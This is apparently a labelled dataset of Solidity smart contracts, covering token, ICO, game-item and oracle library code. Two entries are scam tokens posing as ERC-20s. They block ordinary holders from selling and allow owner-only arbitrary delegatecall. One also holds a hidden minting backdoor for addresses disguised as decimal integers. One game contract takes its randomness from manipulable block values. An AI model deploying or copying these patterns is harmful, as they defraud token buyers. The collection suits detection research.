0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,123
pragma solidity ^0.4.16; interface token { function transfer(address receiver, uint amount) public; function unlock() public; function burn(uint256 _value) public returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { bool public stopped; modifier stopInEmergency { require(!stopped); _; } modifier onlyInEmergency { require(stopped); _; } function emergencyStop() external onlyOwner { stopped = true; } function release() external onlyOwner onlyInEmergency { stopped = false; } } contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ICO is SafeMath, Pausable{ address public ifSuccessfulSendFundsTo; address public BTCproxy; address public GBPproxy; uint public fundingGoal; uint public amountRaised; uint public deadline; uint public preIcoEnds; uint public tokensSold; uint public maxToken; token public tokenReward; mapping(address => uint256) public balanceOf; bool fundingGoalReached = false; bool crowdsaleClosed = false; event FundWithdrawal(address addr, uint value); event ReceivedETH(address addr, uint value); event ReceivedBTC(address addr, uint value); event ReceivedGBP(address addr, uint value); modifier beforeDeadline{ require(now < deadline); _; } modifier afterDeadline{ require(now >= deadline); _; } modifier ICOactive{ require(!crowdsaleClosed); _; } modifier ICOinactive{ require(crowdsaleClosed); _; } modifier onlyBy(address a){ require(msg.sender == a); _; } function ICO() public{ maxToken = 40*(10 ** 6) * (10 ** 6); stopped = false; tokensSold = 0; ifSuccessfulSendFundsTo = 0xDB9e5d21B0c4f06b55fb85ff96acfF75d94D60F7; BTCproxy = 0x50651260Ba2B8A3264F1AE074E7a6E7Da101567a; GBPproxy = 0x1ABb9E204Eb8E546eFA06Cbb8c039A91227cb211; fundingGoal = 100 ether; deadline = now + 35 days; preIcoEnds = now + 7 days; tokenReward = token(0x2749b5bfd51f9d9dd12927f53c112ebb5e94c247); } function () public payable stopInEmergency beforeDeadline ICOactive{ require(msg.value >= MinimumInvestment()); uint amount = amountToSend(msg.value); if (amount==0){ revert(); }else{ balanceOf[msg.sender] += msg.value; amountRaised += msg.value; tokenReward.transfer(msg.sender,amount); tokensSold = add(tokensSold,amount); ReceivedETH(msg.sender,msg.value); } } function ReceiveBTC(address addr, uint value) public stopInEmergency beforeDeadline ICOactive onlyBy(BTCproxy){ require(value >= MinimumInvestment()); uint amount = amountToSend(value); if (amount==0){ revert(); }else{ amountRaised += value; tokenReward.transfer(addr,amount); tokensSold = add(tokensSold,amount); ReceivedBTC(addr,value); } } function ReceiveGBP(address addr, uint value) public stopInEmergency beforeDeadline ICOactive onlyBy(GBPproxy){ require(value >= MinimumInvestment()); uint amount = amountToSend(value); if (amount==0){ revert(); }else{ balanceOf[addr] += value; amountRaised += value; tokenReward.transfer(addr,amount); tokensSold = add(tokensSold,amount); ReceivedGBP(addr,value); } } function MinimumInvestment() internal returns(uint){ if (now <= preIcoEnds){ return 0.1 ether; }else{ return 0.01 ether; } } function amountToSend(uint amount) internal returns(uint){ uint toSend = 0; if (tokensSold <= 5 * (10 ** 6) * (10 ** 6)){ toSend = mul(amount,1000*(10 ** 6))/(1 ether); }else if (5 * (10 ** 6) * (10 ** 6)< tokensSold && tokensSold <= 10 * (10 ** 6) * (10 ** 6)){ toSend = mul(amount,850*(10 ** 6))/(1 ether); }else if (10 * (10 ** 6) * (10 ** 6)< tokensSold && tokensSold <= 20 * (10 ** 6) * (10 ** 6)){ toSend = mul(amount,700*(10 ** 6))/(1 ether); }else if (20 * (10 ** 6) * (10 ** 6)< tokensSold && tokensSold <= 30 * (10 ** 6) * (10 ** 6)){ toSend = mul(amount,600*(10 ** 6))/(1 ether); }else if (30 * (10 ** 6) * (10 ** 6)< tokensSold && tokensSold <= 40 * (10 ** 6) * (10 ** 6)){ toSend = mul(amount,550*(10 ** 6))/(1 ether); } if (amount >= 10 ether){ toSend = add(toSend,toSend/50); } if (add(toSend,tokensSold) > maxToken){ return 0; }else{ return toSend; } } function finalize() public onlyBy(owner) { if (amountRaised>=fundingGoal){ if (!ifSuccessfulSendFundsTo.send(amountRaised)){ revert(); }else{ fundingGoalReached = true; } }else{ fundingGoalReached = false; } uint HYDEmitted = add(tokensSold,10 * (10 ** 6) * (10 ** 6)); if (HYDEmitted < 50 * (10 ** 6) * (10 ** 6)){ tokenReward.burn(50 * (10 ** 6) * (10 ** 6) - HYDEmitted); } tokenReward.unlock(); crowdsaleClosed = true; } function safeWithdrawal() public afterDeadline ICOinactive{ if (!fundingGoalReached) { uint amount = balanceOf[msg.sender]; balanceOf[msg.sender] = 0; if (amount > 0) { if (msg.sender.send(amount)) { FundWithdrawal(msg.sender, amount); } else { balanceOf[msg.sender] = amount; } } } } }
1
3,362
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract FishbankBoosters is Ownable { struct Booster { address owner; uint32 duration; uint8 boosterType; uint24 raiseValue; uint8 strength; uint32 amount; } Booster[] public boosters; bool public implementsERC721 = true; string public name = "Fishbank Boosters"; string public symbol = "FISHB"; mapping(uint256 => address) public approved; mapping(address => uint256) public balances; address public fishbank; address public chests; address public auction; modifier onlyBoosterOwner(uint256 _tokenId) { require(boosters[_tokenId].owner == msg.sender); _; } modifier onlyChest() { require(chests == msg.sender); _; } function FishbankBoosters() public { } function mintBooster(address _owner, uint32 _duration, uint8 _type, uint8 _strength, uint32 _amount, uint24 _raiseValue) onlyChest public { boosters.length ++; Booster storage tempBooster = boosters[boosters.length - 1]; tempBooster.owner = _owner; tempBooster.duration = _duration; tempBooster.boosterType = _type; tempBooster.strength = _strength; tempBooster.amount = _amount; tempBooster.raiseValue = _raiseValue; Transfer(address(0), _owner, boosters.length - 1); } function setFishbank(address _fishbank) onlyOwner public { fishbank = _fishbank; } function setChests(address _chests) onlyOwner public { if (chests != address(0)) { revert(); } chests = _chests; } function setAuction(address _auction) onlyOwner public { auction = _auction; } function getBoosterType(uint256 _tokenId) view public returns (uint8 boosterType) { boosterType = boosters[_tokenId].boosterType; } function getBoosterAmount(uint256 _tokenId) view public returns (uint32 boosterAmount) { boosterAmount = boosters[_tokenId].amount; } function getBoosterDuration(uint256 _tokenId) view public returns (uint32) { if (boosters[_tokenId].boosterType == 4 || boosters[_tokenId].boosterType == 2) { return boosters[_tokenId].duration + boosters[_tokenId].raiseValue * 60; } return boosters[_tokenId].duration; } function getBoosterStrength(uint256 _tokenId) view public returns (uint8 strength) { strength = boosters[_tokenId].strength; } function getBoosterRaiseValue(uint256 _tokenId) view public returns (uint24 raiseValue) { raiseValue = boosters[_tokenId].raiseValue; } event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); function totalSupply() public view returns (uint256 total) { total = boosters.length; } function balanceOf(address _owner) public view returns (uint256 balance){ balance = balances[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address owner){ owner = boosters[_tokenId].owner; } function _transfer(address _from, address _to, uint256 _tokenId) internal { require(boosters[_tokenId].owner == _from); boosters[_tokenId].owner = _to; approved[_tokenId] = address(0); balances[_from] -= 1; balances[_to] += 1; Transfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public onlyBoosterOwner(_tokenId) returns (bool) { _transfer(msg.sender, _to, _tokenId); return true; } function approve(address _to, uint256 _tokenId) public onlyBoosterOwner(_tokenId) { approved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) { require(approved[_tokenId] == msg.sender || msg.sender == fishbank || msg.sender == auction); _transfer(_from, _to, _tokenId); return true; } function takeOwnership(uint256 _tokenId) public { require(approved[_tokenId] == msg.sender); _transfer(ownerOf(_tokenId), msg.sender, _tokenId); } } contract FishbankChests is Ownable { struct Chest { address owner; uint16 boosters; uint16 chestType; uint24 raiseChance; uint8 onlySpecificType; uint8 onlySpecificStrength; uint24 raiseStrength; } Chest[] public chests; FishbankBoosters public boosterContract; mapping(uint256 => address) public approved; mapping(address => uint256) public balances; mapping(address => bool) public minters; modifier onlyChestOwner(uint256 _tokenId) { require(chests[_tokenId].owner == msg.sender); _; } modifier onlyMinters() { require(minters[msg.sender]); _; } function FishbankChests(address _boosterAddress) public { boosterContract = FishbankBoosters(_boosterAddress); } function addMinter(address _minter) onlyOwner public { minters[_minter] = true; } function removeMinter(address _minter) onlyOwner public { minters[_minter] = false; } function mintChest(address _owner, uint16 _boosters, uint24 _raiseStrength, uint24 _raiseChance, uint8 _onlySpecificType, uint8 _onlySpecificStrength) onlyMinters public { chests.length++; chests[chests.length - 1].owner = _owner; chests[chests.length - 1].boosters = _boosters; chests[chests.length - 1].raiseStrength = _raiseStrength; chests[chests.length - 1].raiseChance = _raiseChance; chests[chests.length - 1].onlySpecificType = _onlySpecificType; chests[chests.length - 1].onlySpecificStrength = _onlySpecificStrength; Transfer(address(0), _owner, chests.length - 1); } function convertChest(uint256 _tokenId) onlyChestOwner(_tokenId) public { Chest memory chest = chests[_tokenId]; uint16 numberOfBoosters = chest.boosters; if (chest.onlySpecificType != 0) { if (chest.onlySpecificType == 1 || chest.onlySpecificType == 3) { boosterContract.mintBooster(msg.sender, 2 days, chest.onlySpecificType, chest.onlySpecificStrength, chest.boosters, chest.raiseStrength); } else if (chest.onlySpecificType == 5) { boosterContract.mintBooster(msg.sender, 0, 5, 1, chest.boosters, chest.raiseStrength); } else if (chest.onlySpecificType == 2) { uint32 freezeTime = 7 days; if (chest.onlySpecificStrength == 2) { freezeTime = 14 days; } else if (chest.onlySpecificStrength == 3) { freezeTime = 30 days; } boosterContract.mintBooster(msg.sender, freezeTime, 5, chest.onlySpecificType, chest.boosters, chest.raiseStrength); } else if (chest.onlySpecificType == 4) { uint32 watchTime = 12 hours; if (chest.onlySpecificStrength == 2) { watchTime = 48 hours; } else if (chest.onlySpecificStrength == 3) { watchTime = 3 days; } boosterContract.mintBooster(msg.sender, watchTime, 4, chest.onlySpecificStrength, chest.boosters, chest.raiseStrength); } } else { for (uint8 i = 0; i < numberOfBoosters; i ++) { uint24 random = uint16(keccak256(block.coinbase, block.blockhash(block.number - 1), i, chests.length)) % 1000 - chest.raiseChance; if (random > 850) { boosterContract.mintBooster(msg.sender, 2 days, 1, 1, 1, chest.raiseStrength); } else if (random > 700) { boosterContract.mintBooster(msg.sender, 7 days, 2, 1, 1, chest.raiseStrength); } else if (random > 550) { boosterContract.mintBooster(msg.sender, 2 days, 3, 1, 1, chest.raiseStrength); } else if (random > 400) { boosterContract.mintBooster(msg.sender, 12 hours, 4, 1, 1, chest.raiseStrength); } else if (random > 325) { boosterContract.mintBooster(msg.sender, 48 hours, 4, 2, 1, chest.raiseStrength); } else if (random > 250) { boosterContract.mintBooster(msg.sender, 2 days, 1, 2, 1, chest.raiseStrength); } else if (random > 175) { boosterContract.mintBooster(msg.sender, 14 days, 2, 2, 1, chest.raiseStrength); } else if (random > 100) { boosterContract.mintBooster(msg.sender, 2 days, 3, 2, 1, chest.raiseStrength); } else if (random > 80) { boosterContract.mintBooster(msg.sender, 2 days, 1, 3, 1, chest.raiseStrength); } else if (random > 60) { boosterContract.mintBooster(msg.sender, 30 days, 2, 3, 1, chest.raiseStrength); } else if (random > 40) { boosterContract.mintBooster(msg.sender, 2 days, 3, 3, 1, chest.raiseStrength); } else if (random > 20) { boosterContract.mintBooster(msg.sender, 0, 5, 1, 1, 0); } else { boosterContract.mintBooster(msg.sender, 3 days, 4, 3, 1, 0); } } } _transfer(msg.sender, address(0), _tokenId); } event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); function totalSupply() public view returns (uint256 total) { total = chests.length; } function balanceOf(address _owner) public view returns (uint256 balance){ balance = balances[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address owner){ owner = chests[_tokenId].owner; } function _transfer(address _from, address _to, uint256 _tokenId) internal { require(chests[_tokenId].owner == _from); chests[_tokenId].owner = _to; approved[_tokenId] = address(0); balances[_from] -= 1; balances[_to] += 1; Transfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public onlyChestOwner(_tokenId) returns (bool) { _transfer(msg.sender, _to, _tokenId); return true; } function approve(address _to, uint256 _tokenId) public onlyChestOwner(_tokenId) { approved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) { require(approved[_tokenId] == msg.sender); _transfer(_from, _to, _tokenId); return true; } }
1
5,165
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract AIRSHIB1 { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,366
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } pragma solidity >=0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint _capacity) internal pure { uint capacity = _capacity; if(capacity % 32 != 0) capacity += 32 - (capacity % 32); buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if(a > b) { return a; } return b; } function append(buffer memory buf, bytes data) internal pure returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, data.length) * 2); } uint dest; uint src; uint len = data.length; assembly { let bufptr := mload(buf) let buflen := mload(bufptr) dest := add(add(bufptr, buflen), 32) mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } function append(buffer memory buf, uint8 data) internal pure { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity * 2); } assembly { let bufptr := mload(buf) let buflen := mload(bufptr) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) mstore(bufptr, add(buflen, 1)) } } function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) * 2); } uint mask = 256 ** len - 1; assembly { let bufptr := mload(buf) let buflen := mload(bufptr) let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure { if(value <= 23) { buf.append(uint8((major << 5) | value)); } else if(value <= 0xFF) { buf.append(uint8((major << 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8((major << 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8((major << 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8((major << 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure { buf.append(uint8((major << 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal pure { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal pure { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal pure { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } contract usingOraclize { uint constant day = 